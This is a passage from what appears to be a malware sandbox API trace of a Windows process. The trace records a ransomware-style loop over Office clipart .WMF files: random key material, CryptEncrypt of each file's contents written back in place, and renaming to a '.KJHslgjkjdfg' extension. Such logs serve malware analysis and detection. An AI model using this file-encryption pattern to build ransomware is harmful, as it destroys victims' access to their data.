ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0203.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.173] GetProcessHeap () returned 0x2ef0000 [0203.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.173] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.173] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.175] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.175] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.175] GetProcessHeap () returned 0x2ef0000 [0203.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.176] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.176] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.176] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.176] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x37e4, lpOverlapped=0x0) returned 1 [0203.177] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x37f0, dwBufLen=0x37f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x37f0) returned 1 [0203.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.178] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x37f0, lpOverlapped=0x0) returned 1 [0203.178] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.178] SetEndOfFile (hFile=0x130) returned 1 [0203.181] GetProcessHeap () returned 0x2ef0000 [0203.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.181] GetProcessHeap () returned 0x2ef0000 [0203.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.kjhslgjkjdfg")) returned 1 [0203.183] CloseHandle (hObject=0x130) returned 1 [0203.183] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0203.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.184] GetProcessHeap () returned 0x2ef0000 [0203.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.184] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.184] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.187] GetProcessHeap () returned 0x2ef0000 [0203.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.187] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.187] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.188] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.188] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21da, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21da, lpOverlapped=0x0) returned 1 [0203.191] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21e0, dwBufLen=0x21e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21e0) returned 1 [0203.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.192] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21e0, lpOverlapped=0x0) returned 1 [0203.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.192] SetEndOfFile (hFile=0x130) returned 1 [0203.195] GetProcessHeap () returned 0x2ef0000 [0203.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.195] GetProcessHeap () returned 0x2ef0000 [0203.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.kjhslgjkjdfg")) returned 1 [0203.196] CloseHandle (hObject=0x130) returned 1 [0203.196] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0203.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.197] GetProcessHeap () returned 0x2ef0000 [0203.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.200] GetProcessHeap () returned 0x2ef0000 [0203.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.201] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x843a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x843a, lpOverlapped=0x0) returned 1 [0203.202] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8440, dwBufLen=0x8440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8440) returned 1 [0203.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.202] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8440, lpOverlapped=0x0) returned 1 [0203.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.203] SetEndOfFile (hFile=0x130) returned 1 [0203.205] GetProcessHeap () returned 0x2ef0000 [0203.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.205] GetProcessHeap () returned 0x2ef0000 [0203.206] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.kjhslgjkjdfg")) returned 1 [0203.207] CloseHandle (hObject=0x130) returned 1 [0203.207] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0203.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.208] GetProcessHeap () returned 0x2ef0000 [0203.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.208] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.211] GetProcessHeap () returned 0x2ef0000 [0203.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.211] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.212] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.212] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x44fe, lpOverlapped=0x0) returned 1 [0203.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4500, dwBufLen=0x4500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4500) returned 1 [0203.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.214] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4500, lpOverlapped=0x0) returned 1 [0203.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.214] SetEndOfFile (hFile=0x130) returned 1 [0203.217] GetProcessHeap () returned 0x2ef0000 [0203.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.217] GetProcessHeap () returned 0x2ef0000 [0203.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.kjhslgjkjdfg")) returned 1 [0203.219] CloseHandle (hObject=0x130) returned 1 [0203.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0203.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.220] GetProcessHeap () returned 0x2ef0000 [0203.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.220] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.220] WriteFile 